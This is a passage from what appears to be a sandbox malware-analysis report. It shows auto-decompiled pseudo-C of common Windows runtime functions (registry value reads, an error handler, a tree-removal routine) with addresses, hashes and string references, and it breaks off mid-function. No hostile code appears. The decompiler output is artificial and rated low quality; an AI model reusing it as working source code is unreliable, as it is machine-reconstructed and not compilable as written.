				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = L00DE9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L00DC4620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = L00DE9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x00e23893
0x00e23896
0x00e23899
0x00e2389f
0x00e238a0
0x00e238a4
0x00e238a9
0x00e238ac
0x00e238ad
0x00e238ae
0x00e238af
0x00e238b1
0x00e238b4
0x00e238bb
0x00e238bc
0x00e238bd
0x00e238c4
0x00e238c8
0x00e238ca
0x00e238ca
0x00e238d5
0x00e2393e
0x00e23940
0x00e23942
0x00e23952
0x00e23954
0x00e23961
0x00e23961
0x00e23967
0x00e2396e
0x00e2396e
0x00e23947
0x00e2394c
0x00000000
0x00e2394c
0x00e238ea
0x00e238ee
0x00e238f8
0x00e238f9
0x00e238ff
0x00e23900
0x00e23902
0x00e23903
0x00e2390b
0x00e2390f
0x00e23950
0x00000000
0x00e23950
0x00e23915
0x00e2391d
0x00e2391d
0x00e23922
0x00e23926
0x00000000
0x00e23928
0x00e2392b
0x00e2392b
0x00e23935
0x00e23937
0x00e23937
0x00000000
0x00e23935
0x00e23926
0x00e238f0
0x00000000

Strings

BinaryName, xrefs: 00E238B4

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: aad53fd174c8f2ed9bd13bb3c4a59cdbec2af05cbd61dd8adcde230748e6ed38
Instruction ID: aa7c38d0d86dc06fc56ffd4a4da3f7ed2ef5eab20c4e8159b90a6b9920c7c6fd
Opcode Fuzzy Hash: aad53fd174c8f2ed9bd13bb3c4a59cdbec2af05cbd61dd8adcde230748e6ed38
Instruction Fuzzy Hash: 2A31333290052AAFDB29DA68D845EABF774EB81B20F114129F944B7280D7749F40CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DDD294 Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00DDD294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0xe9d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E00DC4120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return L00DEB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E00DE98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E00DE95D0();
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x00ddd29c
0x00ddd2a6
0x00ddd2b1
0x00ddd2b5
0x00ddd2b6
0x00ddd2bc
0x00ddd2bd
0x00ddd2be
0x00ddd2bf
0x00ddd2c2
0x00ddd2c4
0x00ddd2cc
0x00ddd384
0x00ddd34b
0x00ddd34f
0x00ddd350
0x00ddd351
0x00ddd35c
0x00ddd35c
0x00ddd2d6
0x00ddd2da
0x00ddd2e1
0x00ddd361
0x00ddd369
0x00ddd36d
0x00ddd2e3
0x00ddd2e3
0x00ddd2e3
0x00ddd2e5
0x00ddd2ed
0x00ddd2f5
0x00ddd2fa
0x00ddd302
0x00ddd303
0x00ddd30b
0x00ddd30f
0x00ddd313
0x00ddd318
0x00ddd31c
0x00ddd320
0x00ddd379
0x00ddd37d
0x00000000
0x00000000
0x00e1affe
0x00e1b001
0x00e1b011
0x00000000
0x00ddd322
0x00ddd322
0x00ddd330
0x00ddd337
0x00ddd35d
0x00ddd339
0x00ddd33f
0x00ddd38c
0x00ddd38c
0x00ddd33f
0x00ddd349
0x00000000
0x00ddd349

Strings

@, xrefs: 00DDD303

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 5cd089ea2ce4a9a6dc3e523181e8c130dd5a6667559ccf957a05bb9baca81ecb
Instruction ID: 48148700b511b49d84cefdb9d0acab49cf7c1f543023a385b179ceb9ca857cb3
Opcode Fuzzy Hash: 5cd089ea2ce4a9a6dc3e523181e8c130dd5a6667559ccf957a05bb9baca81ecb
Instruction Fuzzy Hash: 1B318DB1508345AFCB11DF28C981AABBBE9EB89754F14092EF99493350D634DD04CBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00DB1B8F Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00DB1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E00DEBB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E00DEA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E00DEA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L00DC4620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x00db1b8f
0x00db1b9a
0x00db1b9c
0x00db1b9e
0x00db1ba3
0x00e07010
0x00e07010
0x00000000
0x00db1ba9
0x00db1ba9
0x00db1bae
0x00000000
0x00db1bc5
0x00db1bca
0x00db1bcf
0x00db1bd0
0x00db1bd1
0x00db1bd2
0x00db1bd6
0x00db1bdc
0x00db1be0
0x00e06ffc
0x00e07000
0x00000000
0x00e07006
0x00e07009
0x00e07009
0x00db1be6
0x00db1bec
0x00db1c0b
0x00db1c0b
0x00db1c0c
0x00db1c11
0x00db1c12
0x00db1c15
0x00db1c1b
0x00db1c1f
0x00db1c31
0x00db1c33
0x00e07026
0x00e07026
0x00db1c21
0x00db1c24
0x00db1c24
0x00db1bee
0x00db1bee
0x00db1bf2
0x00db1c3a
0x00db1bf4
0x00db1bf4
0x00db1c05
0x00db1c05
0x00db1c09
0x00db1c3e
0x00000000
0x00000000
0x00000000
0x00db1c09
0x00db1bec
0x00db1be0
0x00db1bae
0x00db1c2e

Strings

WindowsExcludedProcs, xrefs: 00DB1BC5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 1672e1a75c858c5fb87e5910dc0750846d530392567f13587f47c98b4acb9e8f
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 2F21F53AA41229EBCB219A598850F9BBBADEF41750F5A4425F9459B200D630EC0097F0

Uniqueness

Uniqueness Score: -1.00%

Function 00E58DF1 Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00E58DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0xe80d50);
				E00DFD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					L00E35720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L00DFDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L00DFDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E00DFD130(_t34, _t39, _t40);
			}

0x00e58df1
0x00e58df1
0x00e58df1
0x00e58df1
0x00e58df1
0x00e58df1
0x00e58df3
0x00e58df8
0x00e58dfd
0x00e58e00
0x00e58e0e
0x00e58e2a
0x00e58e36
0x00e58e38
0x00e58e3c
0x00e58e46
0x00e58e46
0x00e58e36
0x00e58e50
0x00e58e56
0x00e58e59
0x00e58e5c
0x00e58e60
0x00e58e67
0x00e58e6d
0x00e58e73
0x00e58e74
0x00e58eb1
0x00e58ebd

Strings

Critical error detected %lx, xrefs: 00E58E21

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: f198887eda0b495b5f0b1ffda567f8dce57e78a213ebab4e2f9907337ddafab0
Instruction ID: fe1fa29cf47f2d6b18e127086ebd28db03cf0cf7e65b9aca5d0297af59817723
Opcode Fuzzy Hash: f198887eda0b495b5f0b1ffda567f8dce57e78a213ebab4e2f9907337ddafab0
Instruction Fuzzy Hash: F3117971D00348DADF24DFA48A067ECBBB2AB04315F20961EE5697B292CB700605DF24

Uniqueness

Uniqueness Score: -1.00%

Function 00DAF900 Relevance: .9, Instructions: 863
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00DAF900(signed int _a4, signed int _a8) {
				signed char _v5;
				signed char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed char _t285;
				signed int _t289;
				signed char _t292;
				signed int _t293;
				signed char _t295;
				signed int _t300;
				signed int _t301;
				signed char _t306;
				signed char _t307;
				signed char _t308;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed char _t314;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t322;
				signed int _t323;
				signed int _t328;
				signed char _t329;
				signed int _t337;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				signed int _t348;
				signed char _t350;
				signed int _t351;
				signed char _t353;
				signed char _t356;
				signed int _t357;
				signed char _t359;
				signed int _t360;
				signed char _t363;
				signed int _t364;
				signed int _t366;
				signed int* _t372;
				signed char _t373;
				signed char _t378;
				signed int _t379;
				signed int* _t382;
				signed int _t383;
				signed char _t385;
				signed int _t387;
				signed int _t388;
				signed char _t390;
				signed int _t393;
				signed int _t395;
				signed char _t397;
				signed int _t401;
				signed int _t405;
				signed int _t407;
				signed int _t409;
				signed int _t410;
				signed int _t413;
				signed char _t415;
				signed int _t416;
				signed char _t418;
				signed int _t419;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed char* _t425;
				signed char _t426;
				signed char _t427;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t462;
				signed int _t464;
				signed int _t467;
				signed int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t477;
				signed int _t481;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;

				_t285 =  *(_a4 + 4);
				_t444 = _a8;
				_t452 =  *_t444;
				_t421 = _t285 & 1;
				if(_t421 != 0) {
					if(_t452 != 0) {
						_t452 = _t452 ^ _t444;
					}
				}
				_t393 =  *(_t444 + 4);
				if(_t421 != 0) {
					if(_t393 != 0) {
						_t393 = _t393 ^ _t444;
					}
				}
				_t426 = _t393;
				if(_t452 != 0) {
					_t426 = _t452;
				}
				_v5 = _t285 & 0x00000001;
				asm("sbb eax, eax");
				if((_t393 &  ~_t452) != 0) {
					_t289 = _t393;
					_t427 = _v5;
					_t422 = _t393;
					_v12 = _t393;
					_v16 = 1;
					if( *_t393 != 0) {
						_v16 = _v16 & 0x00000000;
						_t445 =  *_t393;
						goto L115;
						L116:
						_t289 = _t445;
						L117:
						_t445 =  *_t289;
						if(_t445 != 0) {
							L115:
							_t422 = _t289;
							if(_t427 != 0) {
								goto L183;
							}
							goto L116;
						} else {
							_t444 = _a8;
							_v12 = _t289;
							goto L27;
						}
						L183:
						if(_t445 == 0) {
							goto L116;
						}
						_t289 = _t289 ^ _t445;
						goto L117;
					}
					L27:
					if(_t427 != 0) {
						if(_t452 == 0) {
							goto L28;
						}
						_t428 = _t289 ^ _t452;
						L29:
						 *_t289 = _t428;
						_t429 =  *(_t452 + 8);
						_v20 = _t429;
						_t426 = _t429 & 0xfffffffc;
						_t292 =  *(_a4 + 4) & 0x00000001;
						_v6 = _t292;
						_t293 = _v12;
						if(_t292 != 0) {
							if(_t426 != 0) {
								_t426 = _t426 ^ _t452;
							}
						}
						if(_t426 != _t444) {
							L174:
							_t423 = 0x1d;
							asm("int 0x29");
							goto L175;
						} else {
							_t436 = _t293;
							if(_v6 != 0) {
								_t436 = _t436 ^ _t452;
							}
							_v20 = _v20 & 0x00000003;
							_v20 = _v20 | _t436;
							 *(_t452 + 8) = _v20;
							_t426 =  *(_t393 + 8) & 0xfffffffc;
							_t356 =  *(_a4 + 4) & 0x00000001;
							_v6 = _t356;
							_t357 = _v12;
							if(_t356 != 0) {
								if(_t426 != 0) {
									_t426 = _t426 ^ _t393;
								}
							}
							if(_t426 != _t444) {
								goto L174;
							} else {
								_t483 = _t393 ^ _t357;
								_v24 = _t483;
								if(_v6 == 0) {
									_v24 = _t357;
								}
								 *(_t393 + 8) =  *(_t393 + 8) & 0x00000003 | _v24;
								_t426 =  *(_t357 + 4);
								_t444 = _a8;
								_t359 =  *(_a4 + 4) & 0x00000001;
								_v6 = _t359;
								_t360 = _v12;
								_v24 = _t483;
								if(_t359 != 0) {
									_v24 = _t483;
									if(_t426 == 0) {
										goto L37;
									}
									_t426 = _t426 ^ _t360;
									L38:
									if(_v6 == 0) {
										_t483 = _t393;
									}
									_t413 =  *(_t360 + 8);
									 *(_t360 + 4) = _t483;
									_t452 = _t413 & 0xfffffffc;
									_v5 = _t413;
									_t363 =  *(_a4 + 4) & 0x00000001;
									_v6 = _t363;
									if(_t363 != 0) {
										_t364 = _v12;
										_v5 = _t413;
										if(_t452 == 0) {
											goto L41;
										}
										_v20 = _t452;
										_v20 = _v20 ^ _t364;
										L42:
										if(_v20 != _t422) {
											_v5 = _t413;
											if(_v6 == 0) {
												L199:
												_t366 = _v12;
												L200:
												if(_t452 != 0 || _t366 != _t422) {
													goto L174;
												} else {
													goto L43;
												}
											}
											_t366 = _v12;
											_v5 = _t413;
											if(_t452 == 0) {
												goto L199;
											}
											_t452 = _t452 ^ _t366;
											goto L200;
										}
										L43:
										_t486 =  *(_t444 + 8) & 0xfffffffc;
										if(_v6 != 0) {
											if(_t486 != 0) {
												_t486 = _t486 ^ _t444;
											}
											if(_v6 != 0 && _t486 != 0) {
												_t486 = _t486 ^ _t366;
											}
										}
										_t415 = _t413 & 0x00000003 | _t486;
										 *(_t366 + 8) = _t415;
										_t416 = _v12;
										 *(_t416 + 8) = ( *(_t444 + 8) ^ _t415) & 0x00000001 ^ _t415;
										_t452 =  *(_t444 + 8);
										_t372 = _a4;
										if((_t452 & 0xfffffffc) == 0) {
											if( *_t372 != _t444) {
												goto L174;
											} else {
												 *_t372 = _t416;
												goto L52;
											}
										} else {
											_t452 = _t452 & 0xfffffffc;
											_t378 = _t372[1] & 0x00000001;
											_v6 = _t378;
											if(_t378 != 0) {
												if(_t452 != 0) {
													_t452 = _t452 ^ _t444;
												}
											}
											_t379 =  *(_t452 + 4);
											if(_v6 != 0) {
												if(_t379 != 0) {
													_t379 = _t379 ^ _t452;
												}
											}
											_v24 = _t379;
											_t382 = _t452 + (0 | _v24 == _t444) * 4;
											_v28 = _t382;
											_t383 =  *_t382;
											if(_v6 != 0) {
												if(_t383 != 0) {
													_t383 = _t383 ^ _t452;
												}
											}
											if(_t383 != _t444) {
												goto L174;
											} else {
												if(_v6 != 0) {
													_t487 = _t452 ^ _t416;
												} else {
													_t487 = _t416;
												}
												 *_v28 = _t487;
												L52:
												_t373 = _v5;
												L12:
												_t452 = _a4;
												_v5 = _t373 & 0x00000001;
												if(( *(_t452 + 4) & 0x00000001) != 0) {
													if(_t426 == 0) {
														goto L13;
													}
													_t306 = _t422 ^ _t426;
													L14:
													_t444 = _v16;
													 *(_t422 + _t444 * 4) = _t306;
													if(_t426 != 0) {
														_t306 =  *(_t426 + 8) & 0xfffffffc;
														_t418 =  *(_t452 + 4) & 0x00000001;
														_v6 = _t418;
														_t419 = _v12;
														if(_t418 != 0) {
															if(_t306 != 0) {
																_t306 = _t306 ^ _t426;
															}
														}
														if(_t306 != _t419) {
															goto L174;
														} else {
															if(_v6 != 0) {
																if(_t422 != 0) {
																	_t422 = _t422 ^ _t426;
																}
															}
															 *(_t426 + 8) = _t422;
															L24:
															return _t306;
														}
													}
													if(_v5 != _t426) {
														goto L24;
													} else {
														_t395 = _t452;
														_t306 =  *(_t395 + 4);
														L17:
														_t446 = _t423;
														_t434 = _v16 ^ 0x00000001;
														_v24 = _t446;
														_v12 = _t434;
														_t452 =  *(_t423 + _t434 * 4);
														if((_t306 & 0x00000001) != 0) {
															if(_t452 == 0) {
																goto L18;
															}
															_t426 = _t452 ^ _t446;
															L19:
															if(( *(_t426 + 8) & 0x00000001) != 0) {
																_t310 =  *(_t426 + 8) & 0xfffffffc;
																_t444 = _t306 & 1;
																if(_t444 != 0) {
																	if(_t310 != 0) {
																		_t310 = _t310 ^ _t426;
																	}
																}
																if(_t310 != _t423) {
																	goto L174;
																} else {
																	if(_t444 != 0) {
																		if(_t452 != 0) {
																			_t452 = _t452 ^ _t423;
																		}
																	}
																	if(_t452 != _t426) {
																		goto L174;
																	} else {
																		_t452 =  *(_t423 + 8) & 0xfffffffc;
																		if(_t444 != 0) {
																			if(_t452 == 0) {
																				L170:
																				if( *_t395 != _t423) {
																					goto L174;
																				} else {
																					 *_t395 = _t426;
																					L140:
																					if(_t444 != 0) {
																						if(_t452 != 0) {
																							_t452 = _t452 ^ _t426;
																						}
																					}
																					 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																					_t300 =  *(_t426 + _v16 * 4);
																					if(_t444 != 0) {
																						if(_t300 == 0) {
																							goto L143;
																						}
																						_t300 = _t300 ^ _t426;
																						goto L142;
																					} else {
																						L142:
																						if(_t300 != 0) {
																							_t401 =  *(_t300 + 8);
																							_t452 = _t401 & 0xfffffffc;
																							if(_t444 != 0) {
																								if(_t452 != 0) {
																									_t452 = _t452 ^ _t300;
																								}
																							}
																							if(_t452 != _t426) {
																								goto L174;
																							} else {
																								if(_t444 != 0) {
																									_t481 = _t300 ^ _t423;
																								} else {
																									_t481 = _t423;
																								}
																								 *(_t300 + 8) = _t401 & 0x00000003 | _t481;
																								goto L143;
																							}
																						}
																						L143:
																						if(_t444 != 0) {
																							if(_t300 != 0) {
																								_t300 = _t300 ^ _t423;
																							}
																						}
																						 *(_t423 + _v12 * 4) = _t300;
																						_t454 = _t426;
																						if(_t444 != 0) {
																							_t455 = _t454 ^ _t423;
																							_t301 = _t455;
																						} else {
																							_t301 = _t423;
																							_t455 = _t454 ^ _t301;
																						}
																						 *(_t426 + _v16 * 4) = _t301;
																						_t395 = _a4;
																						if(_t444 == 0) {
																							_t455 = _t426;
																						}
																						 *(_t423 + 8) =  *(_t423 + 8) & 0x00000003 | _t455;
																						 *(_t426 + 8) =  *(_t426 + 8) & 0x000000fe;
																						 *(_t423 + 8) =  *(_t423 + 8) | 0x00000001;
																						_t426 =  *(_t423 + _v12 * 4);
																						_t306 =  *(_t395 + 4);
																						if((_t306 & 0x00000001) != 0) {
																							if(_t426 != 0) {
																								_t426 = _t426 ^ _t423;
																							}
																						}
																						_t446 = _v24;
																						goto L20;
																					}
																				}
																			}
																			_t452 = _t452 ^ _t423;
																		}
																		if(_t452 == 0) {
																			goto L170;
																		}
																		_t311 =  *(_t452 + 4);
																		if(_t444 != 0) {
																			if(_t311 != 0) {
																				_t311 = _t311 ^ _t452;
																			}
																		}
																		if(_t311 == _t423) {
																			if(_t444 != 0) {
																				L175:
																				_t295 = _t452 ^ _t426;
																				goto L169;
																			} else {
																				_t295 = _t426;
																				L169:
																				 *(_t452 + 4) = _t295;
																				goto L140;
																			}
																		} else {
																			_t312 =  *_t452;
																			if(_t444 != 0) {
																				if(_t312 != 0) {
																					_t312 = _t312 ^ _t452;
																				}
																			}
																			if(_t312 != _t423) {
																				goto L174;
																			} else {
																				if(_t444 != 0) {
																					_t314 = _t452 ^ _t426;
																				} else {
																					_t314 = _t426;
																				}
																				 *_t452 = _t314;
																				goto L140;
																			}
																		}
																	}
																}
															}
															L20:
															_t456 =  *_t426;
															_t307 = _t306 & 0x00000001;
															if(_t456 != 0) {
																if(_t307 != 0) {
																	_t456 = _t456 ^ _t426;
																}
																if(( *(_t456 + 8) & 0x00000001) == 0) {
																	goto L21;
																} else {
																	L56:
																	_t461 =  *(_t426 + _v12 * 4);
																	if(_t307 != 0) {
																		if(_t461 == 0) {
																			L59:
																			_t462 = _v16;
																			_t444 =  *(_t426 + _t462 * 4);
																			if(_t307 != 0) {
																				if(_t444 != 0) {
																					_t444 = _t444 ^ _t426;
																				}
																			}
																			 *(_t444 + 8) =  *(_t444 + 8) & 0x000000fe;
																			_t452 = _t462 ^ 0x00000001;
																			_t405 =  *(_t395 + 4) & 1;
																			_t316 =  *(_t444 + 8) & 0xfffffffc;
																			_v28 = _t405;
																			_v24 = _t452;
																			if(_t405 != 0) {
																				if(_t316 != 0) {
																					_t316 = _t316 ^ _t444;
																				}
																			}
																			if(_t316 != _t426) {
																				goto L174;
																			} else {
																				_t318 = _t452 ^ 0x00000001;
																				_v32 = _t318;
																				_t319 =  *(_t426 + _t318 * 4);
																				if(_t405 != 0) {
																					if(_t319 != 0) {
																						_t319 = _t319 ^ _t426;
																					}
																				}
																				if(_t319 != _t444) {
																					goto L174;
																				} else {
																					_t320 =  *(_t423 + _t452 * 4);
																					if(_t405 != 0) {
																						if(_t320 != 0) {
																							_t320 = _t320 ^ _t423;
																						}
																					}
																					if(_t320 != _t426) {
																						goto L174;
																					} else {
																						_t322 =  *(_t426 + 8) & 0xfffffffc;
																						if(_t405 != 0) {
																							if(_t322 != 0) {
																								_t322 = _t322 ^ _t426;
																							}
																						}
																						if(_t322 != _t423) {
																							goto L174;
																						} else {
																							_t464 = _t423 ^ _t444;
																							_t323 = _t464;
																							if(_t405 == 0) {
																								_t323 = _t444;
																							}
																							 *(_t423 + _v24 * 4) = _t323;
																							_t407 = _v28;
																							if(_t407 != 0) {
																								if(_t423 != 0) {
																									L72:
																									 *(_t444 + 8) =  *(_t444 + 8) & 0x00000003 | _t464;
																									_t328 =  *(_t444 + _v24 * 4);
																									if(_t407 != 0) {
																										if(_t328 == 0) {
																											L74:
																											if(_t407 != 0) {
																												if(_t328 != 0) {
																													_t328 = _t328 ^ _t426;
																												}
																											}
																											 *(_t426 + _v32 * 4) = _t328;
																											_t467 = _t426 ^ _t444;
																											_t329 = _t467;
																											if(_t407 == 0) {
																												_t329 = _t426;
																											}
																											 *(_t444 + _v24 * 4) = _t329;
																											if(_v28 == 0) {
																												_t467 = _t444;
																											}
																											_t395 = _a4;
																											_t452 = _t426;
																											 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t467;
																											_t426 = _t444;
																											L80:
																											 *(_t426 + 8) =  *(_t426 + 8) ^ ( *(_t426 + 8) ^  *(_t423 + 8)) & 0x00000001;
																											 *(_t423 + 8) =  *(_t423 + 8) & 0x000000fe;
																											 *(_t452 + 8) =  *(_t452 + 8) & 0x000000fe;
																											_t337 =  *(_t426 + 8) & 0xfffffffc;
																											_t444 =  *(_t395 + 4) & 1;
																											if(_t444 != 0) {
																												if(_t337 != 0) {
																													_t337 = _t337 ^ _t426;
																												}
																											}
																											if(_t337 != _t423) {
																												goto L174;
																											} else {
																												_t339 =  *(_t423 + _v12 * 4);
																												if(_t444 != 0) {
																													if(_t339 != 0) {
																														_t339 = _t339 ^ _t423;
																													}
																												}
																												if(_t339 != _t426) {
																													goto L174;
																												} else {
																													_t452 =  *(_t423 + 8) & 0xfffffffc;
																													if(_t444 != 0) {
																														if(_t452 == 0) {
																															L160:
																															if( *_t395 != _t423) {
																																goto L174;
																															} else {
																																 *_t395 = _t426;
																																L93:
																																if(_t444 != 0) {
																																	if(_t452 != 0) {
																																		_t452 = _t452 ^ _t426;
																																	}
																																}
																																_t409 = _v16;
																																 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																																_t343 =  *(_t426 + _t409 * 4);
																																if(_t444 != 0) {
																																	if(_t343 == 0) {
																																		goto L96;
																																	}
																																	_t343 = _t343 ^ _t426;
																																	goto L95;
																																} else {
																																	L95:
																																	if(_t343 != 0) {
																																		_t410 =  *(_t343 + 8);
																																		_t452 = _t410 & 0xfffffffc;
